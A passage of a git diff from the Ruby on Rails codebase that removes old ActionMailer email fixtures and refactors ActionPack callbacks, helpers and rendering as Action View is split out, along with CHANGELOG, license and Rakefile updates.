-2HZ648dgYaC1i3Vq1IbNPq3PvDTPezY9FaRISjvnzWqdgcWN8EJgjnNq+Z7ktOm9l2Nfth28EZi4
-bG/we5JwxM+Tql47/D/X6b38I8/RyxvxPJrX6zvQbo3h9jyJx+C0ALX327QETHl5eYlaYCT5rPTb
-+5/rAq26t3lKIxV/p88hq6ptngdgCzoPjJqndiLfc/6y5A14WeDFGNPct4iUsJBV2bYzLEV7m83s
-6Rp63VPhHKC/g/LzaU9qexJRr56043JWinqAtfZqsSm1sjoznthl54dtCqv+uL4nIY+oYWuc3+nH
-kGfn8b0HQpvOYLQAZUDanbJs3jQhITZEgdarZK+cO6ySlL13rut5nFaN23s7u3Snz6eRPTkCoc2/
-Vp1zHfZVFpZ87FiMVLV1iqyK5rlzfji2GzjfDsodlD+Weo5UD4h6PwKqzQMqID0tq2VjjFVSMpis
-ZLRAs7sePZBZAHI+gIanB8I7MD+femAceeUe2Kxa5jS950kZ1p5eNEdeX1+jFmSpZ+1EdWCsDcne
-NPNgUHNw3aYpnzv9PGTX0uo94EtN9qq1rOdxe3kc79T8ukeHJJ8Fnxej6qlylbLLsjQLOy6Xy2a1
-kefs/N+nM7+S7IG5/E5Yc7F003pWErLjbH0O5cGadiMptSB/DZ5U5DI9yeg5MFYyMj8lC/Y7/Xjq
-OZlWcnpg9aQfXz2HRq+Wn5xOp6gN8tWq8R44e2pfyzLYemEgprst+XXk2Zj2nXlbsG05BprndTMv
-C3QRaXczshhVsHnMgfYn80Y2g5JureA6wBasPeP7LkE/jvZMJAaf/g/U2RelHsisvan5FqweIAHg
-Pwc7L68GxvVDAAAAAElFTkSuQmCC
-
---Apple-Mail-41-587703287--
-
---Apple-Mail-42-587703407
-Content-Transfer-Encoding: base64
-Content-Type: application/pkcs7-signature;
- name=smime.p7s
-Content-Disposition: attachment;
- filename=smime.p7s
-
-MIAGCSqGSIb3DQEHAqCAMIACAQExCzAJBgUrDgMCGgUAMIAGCSqGSIb3DQEHAQAAoIIGJzCCAuAw
-ggJJoAMCAQICEFjnFNYXwDEZRWY5EkfzopUwDQYJKoZIhvcNAQEFBQAwYjELMAkGA1UEBhMCWkEx
-JTAjBgNVBAoTHFRoYXd0ZSBDb25zdWx0aW5nIChQdHkpIEx0ZC4xLDAqBgNVBAMTI1RoYXd0ZSBQ
-ZXJzb25hbCBGcmVlbWFpbCBJc3N1aW5nIENBMB4XDTA2MDkxMjE3MDExMloXDTA3MDkxMjE3MDEx
-MlowRTEfMB0GA1UEAxMWVGhhd3RlIEZyZWVtYWlsIE1lbWJlcjEiMCAGCSqGSIb3DQEJARYTamFt
-aXNAMzdzaWduYWxzLmNvbTCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEBAO2A9JeOFIFJ
-G6z8pTcAldrZ2nMe+Xb1tNrbHgoVzN/QhHXM4qst2Ml93cmFLjMmwG7P9RJeU4oNx+jTqVoBB7NV
-Ne1/o56Do0KhfMZ9iUDQdPLbkZMq4EEpFMdm6PyM3muRKwPhj66iAWe/osCb8DowUK2f66vaRx0Z
-Y0MQHIIrXE02Ta4IfAhIfPqBLkZ4WgTYBHN9vMdYea1jF0GO4gqGk1wqwb3yxv2QMYMbwJ6SI+k/
-ZjkSR/OilTCBhwYLKoZIhvcNAQkQAgsxeKB2MGIxCzAJBgNVBAYTAlpBMSUwIwYDVQQKExxUaGF3
-dGUgQ29uc3VsdGluZyAoUHR5KSBMdGQuMSwwKgYDVQQDEyNUaGF3dGUgUGVyc29uYWwgRnJlZW1h
-aWwgSXNzdWluZyBDQQIQWOcU1hfAMRlFZjkSR/OilTANBgkqhkiG9w0BAQEFAASCAQCfwQiC3v6/
-yleRDGv3bJ4nQYQ+c3mz3+mn3Xi6uU35n3piwxZZaWRdmLyiXPvU+QReHpSf3l2qsEZM3sdE0XF9
-eRul/+QTFJcDNXOEAxG1zC2Gpz+6c6RrX4Ou12Pwkp+pNrZWTSY/mZgdqcArupOBcZi7qBjoWcy5
-wb54dfvSSjrjmqLbkH/E8ww/6gGQuU/xXpAUZgUrTmQHrNKeIdSh5oDkOxFaFWvnmb8Z/2ixKqW/
-Ux6WqamyvBtTs/5YBEtnpZOk+uVoscYEUBhU+DVJ2OSvTdXSivMtBdXmGTsG22k+P1NGUHi/A7ev
-xPaO0uk4V8xyjNlN4HPuGpkrlXwPAAAAAAAA
-
---Apple-Mail-42-587703407--
diff --git a/actionmailer/test/fixtures/raw_email_with_partially_quoted_subject b/actionmailer/test/fixtures/raw_email_with_partially_quoted_subject
deleted file mode 100644
index e86108da1e..0000000000
--- a/actionmailer/test/fixtures/raw_email_with_partially_quoted_subject
+++ /dev/null
@@ -1,14 +0,0 @@
-From jamis@37signals.com Mon May 2 16:07:05 2005
-Mime-Version: 1.0 (Apple Message framework v622)
-Content-Transfer-Encoding: base64
-Message-Id: <d3b8cf8e49f04480850c28713a1f473e@37signals.com>
-Content-Type: text/plain;
- charset=EUC-KR;
- format=flowed
-To: jamis@37signals.com
-From: Jamis Buck <jamis@37signals.com>
-Subject: Re: Test: =?UTF-8?B?Iua8ouWtlyI=?= mid =?UTF-8?B?Iua8ouWtlyI=?= tail
-Date: Mon, 2 May 2005 16:07:05 -0600
-
-tOu6zrrQwMcguLbC+bChwfa3ziwgv+y4rrTCIMfPs6q01MC7ILnPvcC0z7TZLg0KDQrBpiDAzLin
-wLogSmFtaXPA1LTPtNku
diff --git a/actionmailer/test/fixtures/test_mailer/included_subtemplate.text.erb b/actionmailer/test/fixtures/test_mailer/included_subtemplate.text.erb
index a93c30ea1a..ae3cfa77e7 100644
--- a/actionmailer/test/fixtures/test_mailer/included_subtemplate.text.erb
+++ b/actionmailer/test/fixtures/test_mailer/included_subtemplate.text.erb
@@ -1 +1 @@
-Hey Ho, <%= render :partial => "subtemplate" %> \ No newline at end of file
+Hey Ho, <%= render partial: "subtemplate" %> \ No newline at end of file
diff --git a/actionmailer/test/i18n_with_controller_test.rb b/actionmailer/test/i18n_with_controller_test.rb
index a3e93c9c31..14a1b11b6d 100644
--- a/actionmailer/test/i18n_with_controller_test.rb
+++ b/actionmailer/test/i18n_with_controller_test.rb
@@ -1,4 +1,5 @@
require 'abstract_unit'
+require 'action_view'
require 'action_controller'
class I18nTestMailer < ActionMailer::Base
diff --git a/actionmailer/test/log_subscriber_test.rb b/actionmailer/test/log_subscriber_test.rb
index 5f52a1bd69..5f0bee88fd 100644
--- a/actionmailer/test/log_subscriber_test.rb
+++ b/actionmailer/test/log_subscriber_test.rb
@@ -24,10 +24,13 @@ class AMLogSubscriberTest < ActionMailer::TestCase
def test_deliver_is_notified
BaseMailer.welcome.deliver
wait
+
assert_equal(1, @logger.logged(:info).size)
assert_match(/Sent mail to system@test.lindsaar.net/, @logger.logged(:info).first)
- assert_equal(1, @logger.logged(:debug).size)
- assert_match(/Welcome/, @logger.logged(:debug).first)
+
+ assert_equal(2, @logger.logged(:debug).size)
+ assert_match(/BaseMailer#welcome: processed outbound mail in [\d.]+ms/, @logger.logged(:debug).first)
+ assert_match(/Welcome/, @logger.logged(:debug).second)
end
def test_receive_is_notified
@@ -39,4 +42,4 @@ class AMLogSubscriberTest < ActionMailer::TestCase
assert_equal(1, @logger.logged(:debug).size)
assert_match(/Jamis/, @logger.logged(:debug).first)
end
-end \ No newline at end of file
+end
diff --git a/actionmailer/test/mailers/base_mailer.rb b/actionmailer/test/mailers/base_mailer.rb
index 6584bf5195..bd991e209e 100644
--- a/actionmailer/test/mailers/base_mailer.rb
+++ b/actionmailer/test/mailers/base_mailer.rb
@@ -120,7 +120,7 @@ class BaseMailer < ActionMailer::Base
end
def with_nil_as_return_value
- mail(:template_name => "welcome")
+ mail(template_name: "welcome")
nil
end
diff --git a/actionmailer/test/mailers/proc_mailer.rb b/actionmailer/test/mailers/proc_mailer.rb
index 733633b575..7e189d861f 100644
--- a/actionmailer/test/mailers/proc_mailer.rb
+++ b/actionmailer/test/mailers/proc_mailer.rb
@@ -1,7 +1,8 @@
class ProcMailer < ActionMailer::Base
default to: 'system@test.lindsaar.net',
'X-Proc-Method' => Proc.new { Time.now.to_i.to_s },
- subject: Proc.new { give_a_greeting }
+ subject: Proc.new { give_a_greeting },
+ 'x-has-to-proc' => :symbol
def welcome
mail
diff --git a/actionpack/CHANGELOG.md b/actionpack/CHANGELOG.md
index ae9f2416f6..d4201e35b1 100644
--- a/actionpack/CHANGELOG.md
+++ b/actionpack/CHANGELOG.md
@@ -5,29 +5,93 @@
*Xavier Defrang*
-* Fix `Mime::Type.parse` when bad accepts header is looked up. Previously it
- was setting `request.formats` with an array containing a `nil` value, which
- raised an error when setting the controller formats.
+* Properly treat the entire IPv6 User Local Address space as private for
+ purposes of remote IP detection. Also handle uppercase private IPv6
+ addresses.
- Fixes #10965
+ Fixes #12638.
- *Becker*
+ *Caleb Spare*
-* Merge `:action` from routing scope and assign endpoint if both `:controller`
- and `:action` are present. The endpoint assignment only occurs if there is
- no `:to` present in the options hash so should only affect routes using the
- shorthand syntax (i.e. endpoint is inferred from the path).
+* Fixed an issue with migrating legacy json cookies.
- Fixes #9856
+ Previously, the `VerifyAndUpgradeLegacySignedMessage` assumes all incoming
+ cookies are marshal-encoded. This is not the case when `secret_token` is
+ used in conjunction with the `:json` or `:hybrid` serializer.
- *Yves Senn*, *Andrew White*
+ In those case, when upgrading to use `secret_key_base`, this would cause a
+ `TypeError: incompatible marshal file format` and a 500 error for the user.
-* ActionView extracted from ActionPack
+ Fixes #14774.
- *Piotr Sarnacki*, *Łukasz Strzałkowski*
+ *Godfrey Chan*
-* Fix removing trailing slash for mounted apps #3215
+* Make URL escaping more consistent:
- *Piotr Sarnacki*
+ 1. Escape '%' characters in URLs - only unescaped data should be passed to URL helpers
+ 2. Add an `escape_segment` helper to `Router::Utils` that escapes '/' characters
+ 3. Use `escape_segment` rather than `escape_fragment` in optimized URL generation
+ 4. Use `escape_segment` rather than `escape_path` in URL generation
-Please check [4-0-stable](https://github.com/rails/rails/blob/4-0-stable/actionpack/CHANGELOG.md) for previous changes.
+ For point 4 there are two exceptions. Firstly, when a route uses wildcard segments
+ (e.g. *foo) then we use `escape_path` as the value may contain '/' characters. This
+ means that wildcard routes can't be optimized. Secondly, if a `:controller` segment
+ is used in the path then this uses `escape_path` as the controller may be namespaced.
+
+ Fixes #14629, #14636 and #14070.
+
+ *Andrew White*, *Edho Arief*
+
+* Add alias `ActionDispatch::Http::UploadedFile#to_io` to
+ `ActionDispatch::Http::UploadedFile#tempfile`.
+
+ *Tim Linquist*
+
+* Returns null type format when format is not know and controller is using `any`
+ format block.
+
+ Fixes #14462.
+
+ *Rafael Mendonça França*
+
+* Improve routing error page with fuzzy matching search.
+
+ *Winston*
+
+* Only make deeply nested routes shallow when parent is shallow.
+
+ Fixes #14684.
+
+ *Andrew White*, *James Coglan*
+
+* Append link to bad code to backtrace when exception is SyntaxError.
+
+ *Boris Kuznetsov*
+
+* Swapped the parameters of assert_equal in `assert_select` so that the
+ proper values were printed correctly
+
+ Fixes #14422.
+
+ *Vishal Lal*
+
+* The method `shallow?` returns false if the parent resource is a singleton so
+ we need to check if we're not inside a nested scope before copying the :path
+ and :as options to their shallow equivalents.
+
+ Fixes #14388.
+
+ *Andrew White*
+
+* Make logging of CSRF failures optional (but on by default) with the
+ `log_warning_on_csrf_failure` configuration setting in
+ `ActionController::RequestForgeryProtection`.
+
+ *John Barton*
+
+* Fix URL generation in controller tests with request-dependent
+ `default_url_options` methods.
+
+ *Tony Wooster*
+
+Please check [4-1-stable](https://github.com/rails/rails/blob/4-1-stable/actionpack/CHANGELOG.md) for previous changes.
diff --git a/actionpack/MIT-LICENSE b/actionpack/MIT-LICENSE
index 5c668d9624..d58dd9ed9b 100644
--- a/actionpack/MIT-LICENSE
+++ b/actionpack/MIT-LICENSE
@@ -1,4 +1,4 @@
-Copyright (c) 2004-2013 David Heinemeier Hansson
+Copyright (c) 2004-2014 David Heinemeier Hansson
Permission is hereby granted, free of charge, to any person obtaining
a copy of this software and associated documentation files (the
diff --git a/actionpack/README.rdoc b/actionpack/README.rdoc
index 29a7fcf0f0..2f6575c3b5 100644
--- a/actionpack/README.rdoc
+++ b/actionpack/README.rdoc
@@ -17,11 +17,6 @@ It consists of several modules:
subclassed to implement filters and actions to handle requests. The result
of an action is typically content generated from views.
-* Action View, which handles view template lookup and rendering, and provides
- view helpers that assist when building HTML forms, Atom feeds and more.
- Template formats that Action View handles are ERB (embedded Ruby, typically
- used to inline short Ruby snippets inside HTML), and XML Builder.
-
With the Ruby on Rails framework, users only directly interface with the
Action Controller module. Necessary Action Dispatch functionality is activated
by default and Action View rendering is implicitly triggered by Action
diff --git a/actionpack/RUNNING_UNIT_TESTS.rdoc b/actionpack/RUNNING_UNIT_TESTS.rdoc
index 1b29abd2d1..2f923136d9 100644
--- a/actionpack/RUNNING_UNIT_TESTS.rdoc
+++ b/actionpack/RUNNING_UNIT_TESTS.rdoc
@@ -1,27 +1,17 @@
== Running with Rake
The easiest way to run the unit tests is through Rake. The default task runs
-the entire test suite for all classes. For more information, checkout the
-full array of rake tasks with "rake -T"
+the entire test suite for all classes. For more information, check out the
+full array of rake tasks with "rake -T".
-Rake can be found at http://rake.rubyforge.org
+Rake can be found at http://rake.rubyforge.org.
== Running by hand
-To run a single test suite
+Run a single test suite:
rake test TEST=path/to/test.rb
-which can be further narrowed down to one test:
+Run one test in a test suite:
rake test TEST=path/to/test.rb TESTOPTS="--name=test_something"
-
-== Dependency on Active Record and database setup
-
-Test cases in the test/active_record/ directory depend on having
-activerecord and sqlite installed. If Active Record is not in
-actionpack/../activerecord directory, or the sqlite rubygem is not installed,
-these tests are skipped.
-
-Other tests are runnable from a fresh copy of actionpack without any configuration.
-
diff --git a/actionpack/Rakefile b/actionpack/Rakefile
index 114d3a7c0c..7eab972595 100644
--- a/actionpack/Rakefile
+++ b/actionpack/Rakefile
@@ -1,6 +1,8 @@
require 'rake/testtask'
require 'rubygems/package_task'
+test_files = Dir.glob('test/{abstract,controller,dispatch,assertions,journey,routing}/**/*_test.rb')
+
desc "Default Task"
task :default => :test
@@ -10,7 +12,7 @@ Rake::TestTask.new do |t|
# make sure we include the tests in alphabetical order as on some systems
# this will not happen automatically and the tests (as a whole) will error
- t.test_files = Dir.glob('test/{abstract,controller,dispatch,assertions,journey}/**/*_test.rb').sort
+ t.test_files = test_files.sort
t.warning = true
t.verbose = true
@@ -18,9 +20,8 @@ end
namespace :test do
task :isolated do
- ruby = File.join(*RbConfig::CONFIG.values_at('bindir', 'RUBY_INSTALL_NAME'))
- Dir.glob("test/{abstract,controller,dispatch}/**/*_test.rb").all? do |file|
- sh(ruby, '-w', '-Ilib:test', file)
+ test_files.all? do |file|
+ sh(Gem.ruby, '-w', '-Ilib:test', file)
end or raise "Failures"
end
end
diff --git a/actionpack/actionpack.gemspec b/actionpack/actionpack.gemspec
index e3aa84ba0f..1d6009bab8 100644
--- a/actionpack/actionpack.gemspec
+++ b/actionpack/actionpack.gemspec
@@ -20,11 +20,10 @@ Gem::Specification.new do |s|
s.requirements << 'none'
s.add_dependency 'activesupport', version
- s.add_dependency 'actionview', version
- s.add_dependency 'rack', '~> 1.5.2'
- s.add_dependency 'rack-test', '~> 0.6.2'
+ s.add_dependency 'rack', '~> 1.5.2'
+ s.add_dependency 'rack-test', '~> 0.6.2'
+ s.add_dependency 'actionview', version
s.add_development_dependency 'activemodel', version
- s.add_development_dependency 'tzinfo', '~> 0.3.37'
end
diff --git a/actionpack/lib/abstract_controller.rb b/actionpack/lib/abstract_controller.rb
index 867a7954e0..fe9802e395 100644
--- a/actionpack/lib/abstract_controller.rb
+++ b/actionpack/lib/abstract_controller.rb
@@ -10,12 +10,11 @@ module AbstractController
autoload :Base
autoload :Callbacks
autoload :Collector
+ autoload :DoubleRenderError, "abstract_controller/rendering"
autoload :Helpers
- autoload :Layouts
autoload :Logger
autoload :Rendering
autoload :Translation
autoload :AssetPaths
- autoload :ViewPaths
autoload :UrlFor
end
diff --git a/actionpack/lib/abstract_controller/callbacks.rb b/actionpack/lib/abstract_controller/callbacks.rb
index 19cfd7dae1..69aca308d6 100644
--- a/actionpack/lib/abstract_controller/callbacks.rb
+++ b/actionpack/lib/abstract_controller/callbacks.rb
@@ -38,7 +38,7 @@ module AbstractController
def _normalize_callback_option(options, from, to) # :nodoc:
if from = options[from]
from = Array(from).map {|o| "action_name == '#{o}'"}.join(" || ")
- options[to] = Array(options[to]) << from
+ options[to] = Array(options[to]).unshift(from)
end
end
@@ -71,7 +71,7 @@ module AbstractController
# * <tt>name</tt> - The callback to be added
# * <tt>options</tt> - A hash of options to be used when adding the callback
def _insert_callbacks(callbacks, block = nil)
- options = callbacks.last.is_a?(Hash) ? callbacks.pop : {}
+ options = callbacks.extract_options!
_normalize_callback_options(options)
callbacks.push(block) if block
callbacks.each do |callback|
@@ -178,41 +178,35 @@ module AbstractController
# set up before_action, prepend_before_action, skip_before_action, etc.
# for each of before, after, and around.
[:before, :after, :around].each do |callback|
- class_eval <<-RUBY_EVAL, __FILE__, __LINE__ + 1
- # Append a before, after or around callback. See _insert_callbacks
- # for details on the allowed parameters.
- def #{callback}_action(*names, &blk) # def before_action(*names, &blk)
- _insert_callbacks(names, blk) do |name, options| # _insert_callbacks(names, blk) do |name, options|
- set_callback(:process_action, :#{callback}, name, options) # set_callback(:process_action, :before, name, options)
- end # end
- end # end
-
- alias_method :#{callback}_filter, :#{callback}_action
-
- # Prepend a before, after or around callback. See _insert_callbacks
- # for details on the allowed parameters.
- def prepend_#{callback}_action(*names, &blk) # def prepend_before_action(*names, &blk)
- _insert_callbacks(names, blk) do |name, options| # _insert_callbacks(names, blk) do |name, options|
- set_callback(:process_action, :#{callback}, name, options.merge(:prepend => true)) # set_callback(:process_action, :before, name, options.merge(:prepend => true))
- end # end
- end # end
-
- alias_method :prepend_#{callback}_filter, :prepend_#{callback}_action
-
- # Skip a before, after or around callback. See _insert_callbacks
- # for details on the allowed parameters.
- def skip_#{callback}_action(*names) # def skip_before_action(*names)
- _insert_callbacks(names) do |name, options| # _insert_callbacks(names) do |name, options|
- skip_callback(:process_action, :#{callback}, name, options) # skip_callback(:process_action, :before, name, options)
- end # end
- end # end
-
- alias_method :skip_#{callback}_filter, :skip_#{callback}_action
-
- # *_action is the same as append_*_action
- alias_method :append_#{callback}_action, :#{callback}_action # alias_method :append_before_action, :before_action
- alias_method :append_#{callback}_filter, :#{callback}_action # alias_method :append_before_filter, :before_action
- RUBY_EVAL
+ define_method "#{callback}_action" do |*names, &blk|
+ _insert_callbacks(names, blk) do |name, options|
+ set_callback(:process_action, callback, name, options)
+ end
+ end
+
+ alias_method :"#{callback}_filter", :"#{callback}_action"
+
+ define_method "prepend_#{callback}_action" do |*names, &blk|
+ _insert_callbacks(names, blk) do |name, options|
+ set_callback(:process_action, callback, name, options.merge(:prepend => true))
+ end
+ end
+
+ alias_method :"prepend_#{callback}_filter", :"prepend_#{callback}_action"
+
+ # Skip a before, after or around callback. See _insert_callbacks
+ # for details on the allowed parameters.
+ define_method "skip_#{callback}_action" do |*names|
+ _insert_callbacks(names) do |name, options|
+ skip_callback(:process_action, callback, name, options)
+ end
+ end
+
+ alias_method :"skip_#{callback}_filter", :"skip_#{callback}_action"
+
+ # *_action is the same as append_*_action
+ alias_method :"append_#{callback}_action", :"#{callback}_action" # alias_method :append_before_action, :before_action
+ alias_method :"append_#{callback}_filter", :"#{callback}_action" # alias_method :append_before_filter, :before_action
end
end
end
diff --git a/actionpack/lib/abstract_controller/collector.rb b/actionpack/lib/abstract_controller/collector.rb
index 09b9e7ddf0..ddd56b354a 100644
--- a/actionpack/lib/abstract_controller/collector.rb
+++ b/actionpack/lib/abstract_controller/collector.rb
@@ -23,7 +23,17 @@ module AbstractController
protected
def method_missing(symbol, &block)
- mime_constant = Mime.const_get(symbol.upcase)
+ const_name = symbol.upcase
+
+ unless Mime.const_defined?(const_name)
+ raise NoMethodError, "To respond to a custom format, register it as a MIME type first: " \
+ "http://guides.rubyonrails.org/action_controller_overview.html#restful-downloads. " \
+ "If you meant to respond to a variant like :tablet or :phone, not a custom format, " \
+ "be sure to nest your variant response within a format response: " \
+ "format.html { |html| html.tablet { ... } }"
+ end
+
+ mime_constant = Mime.const_get(const_name)
if Mime::SET.include?(mime_constant)
AbstractController::Collector.generate_method_for_mime(mime_constant)
diff --git a/actionpack/lib/abstract_controller/helpers.rb b/actionpack/lib/abstract_controller/helpers.rb
index 5ae8c6c3b0..e77e4e01e9 100644
--- a/actionpack/lib/abstract_controller/helpers.rb
+++ b/actionpack/lib/abstract_controller/helpers.rb
@@ -12,7 +12,24 @@ module AbstractController
self._helper_methods = Array.new
end
+ class MissingHelperError < LoadError
+ def initialize(error, path)
+ @error = error
+ @path = "helpers/#{path}.rb"
+ set_backtrace error.backtrace
+
+ if error.path =~ /^#{path}(\.rb)?$/
+ super("Missing helper file helpers/%s.rb" % path)
+ else
+ raise error
+ end
+ end
+ end
+
module ClassMethods
+ MissingHelperError = ActiveSupport::Deprecation::DeprecatedConstantProxy.new('AbstractController::Helpers::ClassMethods::MissingHelperError',
+ 'AbstractController::Helpers::MissingHelperError')
+
# When a class is inherited, wrap its helper module in a new module.
# This ensures that the parent class's module can be changed
# independently of the child class's.
@@ -134,7 +151,7 @@ module AbstractController
begin
require_dependency(file_name)
rescue LoadError => e
- raise MissingHelperError.new(e, file_name)
+ raise AbstractController::Helpers::MissingHelperError.new(e, file_name)
end
file_name.camelize.constantize
when Module
@@ -145,15 +162,6 @@ module AbstractController
end
end
- class MissingHelperError < LoadError
- def initialize(error, path)
- @error = error
- @path = "helpers/#{path}.rb"
- set_backtrace error.backtrace
- super("Missing helper file helpers/%s.rb" % path)
- end
- end
-
private
# Makes all the (instance) methods in the helper module available to templates
# rendered through this controller.
diff --git a/actionpack/lib/abstract_controller/rendering.rb b/actionpack/lib/abstract_controller/rendering.rb
index 3f34add790..9d10140ed2 100644
--- a/actionpack/lib/abstract_controller/rendering.rb
+++ b/actionpack/lib/abstract_controller/rendering.rb
@@ -1,5 +1,8 @@
-require "abstract_controller/base"
-require "action_view"
+require 'active_support/concern'
+require 'active_support/core_ext/class/attribute'
+require 'action_view'
+require 'action_view/view_paths'
+require 'set'
module AbstractController
class DoubleRenderError < Error
@@ -10,91 +13,18 @@ module AbstractController
end
end
- # This is a class to fix I18n global state. Whenever you provide I18n.locale during a request,
- # it will trigger the lookup_context and consequently expire the cache.
- class I18nProxy < ::I18n::Config #:nodoc:
- attr_reader :original_config, :lookup_context
-
- def initialize(original_config, lookup_context)
- original_config = original_config.original_config if original_config.respond_to?(:original_config)
- @original_config, @lookup_context = original_config, lookup_context
- end
-
- def locale
- @original_config.locale
- end
-
- def locale=(value)
- @lookup_context.locale = value
- end
- end
-
module Rendering
extend ActiveSupport::Concern
- include AbstractController::ViewPaths
-
- included do
- class_attribute :protected_instance_variables
- self.protected_instance_variables = []
- end
-
- # Overwrite process to setup I18n proxy.
- def process(*) #:nodoc:
- old_config, I18n.config = I18n.config, I18nProxy.new(I18n.config, lookup_context)
- super
- ensure
- I18n.config = old_config
- end
-
- module ClassMethods
- def view_context_class
- @view_context_class ||= begin
- routes = respond_to?(:_routes) && _routes
- helpers = respond_to?(:_helpers) && _helpers
-
- Class.new(ActionView::Base) do
- if routes
- include routes.url_helpers
- include routes.mounted_helpers
- end
-
- if helpers
- include helpers
- end
- end
- end
- end
- end
-
- attr_internal_writer :view_context_class
-
- def view_context_class
- @_view_context_class ||= self.class.view_context_class
- end
-
- # An instance of a view class. The default view class is ActionView::Base
- #
- # The view class must have the following methods:
- # View.new[lookup_context, assigns, controller]
- # Create a new ActionView instance for a controller
- # View#render[options]
- # Returns String with the rendered template
- #
- # Override this method in a module to change the default behavior.
- def view_context
- view_context_class.new(view_renderer, view_assigns, self)
- end
-
- # Returns an object that is able to render templates.
- def view_renderer
- @_view_renderer ||= ActionView::Renderer.new(lookup_context)
- end
+ include ActionView::ViewPaths
# Normalize arguments, options and then delegates render_to_body and
# sticks the result in self.response_body.
+ # :api: public
def render(*args, &block)
options = _normalize_render(*args, &block)
self.response_body = render_to_body(options)
+ _process_format(rendered_format, options) if rendered_format
+ self.response_body
end
# Raw rendering of a template to a string.
@@ -113,84 +43,78 @@ module AbstractController
render_to_body(options)
end
- # Raw rendering of a template.
- # :api: plugin
+ # Performs the actual template rendering.
+ # :api: public
def render_to_body(options = {})
- _process_options(options)
- _render_template(options)
end
- # Find and renders a template based on the options given.
- # :api: private
- def _render_template(options) #:nodoc:
- lookup_context.rendered_format = nil if options[:formats]
- view_renderer.render(view_context, options)
+ # Returns Content-Type of rendered content
+ # :api: public
+ def rendered_format
+ Mime::TEXT
end
- DEFAULT_PROTECTED_INSTANCE_VARIABLES = [
- :@_action_name, :@_response_body, :@_formats, :@_prefixes, :@_config,
- :@_view_context_class, :@_view_renderer, :@_lookup_context
- ]
+ DEFAULT_PROTECTED_INSTANCE_VARIABLES = Set.new %w(
+ @_action_name @_response_body @_formats @_prefixes @_config
+ @_view_context_class @_view_renderer @_lookup_context
+ @_routes @_db_runtime
+ ).map(&:to_sym)
# This method should return a hash with assigns.
# You can overwrite this configuration per controller.
# :api: public
def view_assigns
- hash = {}
- variables = instance_variables
- variables -= protected_instance_variables
- variables -= DEFAULT_PROTECTED_INSTANCE_VARIABLES
- variables.each { |name| hash[name[1..-1]] = instance_variable_get(name) }
- hash
- end
-
- private
+ protected_vars = _protected_ivars
+ variables = instance_variables
- # Normalize args and options.
- # :api: private
- def _normalize_render(*args, &block)
- options = _normalize_args(*args, &block)
- _normalize_options(options)
- options
+ variables.reject! { |s| protected_vars.include? s }
+ variables.each_with_object({}) { |name, hash|
+ hash[name.slice(1, name.length)] = instance_variable_get(name)
+ }
end
# Normalize args by converting render "foo" to render :action => "foo" and
# render "foo/bar" to render :file => "foo/bar".
# :api: plugin
def _normalize_args(action=nil, options={})
- case action
- when NilClass
- when Hash
- options = action
- when String, Symbol
- action = action.to_s
- key = action.include?(?/) ? :file : :action
- options[key] = action
+ if action.is_a? Hash
+ action
else
- options[:partial] = action
+ options
end
-
- options
end
# Normalize options.
# :api: plugin
def _normalize_options(options)
- if options[:partial] == true
- options[:partial] = action_name
- end
-
- if (options.keys & [:partial, :file, :template]).empty?
- options[:prefixes] ||= _prefixes
- end
-
- options[:template] ||= (options[:action] || action_name).to_s
options
end
# Process extra options.
# :api: plugin
def _process_options(options)
+ options
+ end
+
+ # Process the rendered format.
+ # :api: private
+ def _process_format(format, options = {})
+ end
+
+ # Normalize args and options.
+ # :api: private
+ def _normalize_render(*args, &block)
+ options = _normalize_args(*args, &block)
+ #TODO: remove defined? when we restore AP <=> AV dependency
+ if defined?(request) && request && request.variant.present?
+ options[:variant] = request.variant
+ end
+ _normalize_options(options)
+ options
+ end
+
+ def _protected_ivars # :nodoc:
+ DEFAULT_PROTECTED_INSTANCE_VARIABLES
end
end
end
diff --git a/actionpack/lib/action_controller.rb b/actionpack/lib/action_controller.rb
index 9fdad63b45..50bc26a80f 100644
--- a/actionpack/lib/action_controller.rb
+++ b/actionpack/lib/action_controller.rb
@@ -40,29 +40,17 @@ module ActionController
autoload :UrlFor
end
- autoload :Integration, 'action_controller/deprecated/integration_test'
- autoload :IntegrationTest, 'action_controller/deprecated/integration_test'
- autoload :Routing, 'action_controller/deprecated'
autoload :TestCase, 'action_controller/test_case'
autoload :TemplateAssertions, 'action_controller/test_case'
def self.eager_load!
super
ActionController::Caching.eager_load!
- HTML.eager_load!
end
end
-# All of these simply register additional autoloads
-require 'action_view'
-require 'action_view/vendor/html-scanner'
-
-ActiveSupport.on_load(:action_view) do
- ActionView::RoutingUrlFor.send(:include, ActionDispatch::Routing::UrlFor)
-end
-
# Common Active Support usage in Action Controller
-require 'active_support/core_ext/class/attribute_accessors'
+require 'active_support/core_ext/module/attribute_accessors'
require 'active_support/core_ext/load_error'
require 'active_support/core_ext/module/attr_internal'
require 'active_support/core_ext/name_error'
diff --git a/actionpack/lib/action_controller/base.rb b/actionpack/lib/action_controller/base.rb
index d7b09b67c0..e6fe6b0b00 100644
--- a/actionpack/lib/action_controller/base.rb
+++ b/actionpack/lib/action_controller/base.rb
@@ -1,9 +1,10 @@
+require 'action_view'
require "action_controller/log_subscriber"
require "action_controller/metal/params_wrapper"
module ActionController
# Action Controllers are the core of a web request in \Rails. They are made up of one or more actions that are executed
- # on request and then either render a template or redirect to another action. An action is defined as a public method
+ # on request and then either it renders a template or redirects to another action. An action is defined as a public method
# on the controller, which will automatically be made accessible to the web-server through \Rails Routes.
#
# By default, only the ApplicationController in a \Rails application inherits from <tt>ActionController::Base</tt>. All other
@@ -44,7 +45,7 @@ module ActionController
#
# def server_ip
# location = request.env["SERVER_ADDR"]
- # render text: "This server hosted at #{location}"
+ # render plain: "This server hosted at #{location}"
# end
#
# == Parameters
@@ -59,7 +60,7 @@ module ActionController
# <input type="text" name="post[address]" value="hyacintvej">
#
# A request stemming from a form holding these inputs will include <tt>{ "post" => { "name" => "david", "address" => "hyacintvej" } }</tt>.
- # If the address input had been named "post[address][street]", the params would have included
+ # If the address input had been named <tt>post[address][street]</tt>, the params would have included
# <tt>{ "post" => { "address" => { "street" => "hyacintvej" } } }</tt>. There's no limit to the depth of the nesting.
#
# == Sessions
@@ -85,7 +86,7 @@ module ActionController
# or you can remove the entire session with +reset_session+.
#
# Sessions are stored by default in a browser cookie that's cryptographically signed, but unencrypted.
- # This prevents the user from tampering with the session but also allows him to see its contents.
+ # This prevents the user from tampering with the session but also allows them to see its contents.
#
# Do not put secret information in cookie-based sessions!
#
@@ -200,7 +201,7 @@ module ActionController
end
MODULES = [
- AbstractController::Layouts,
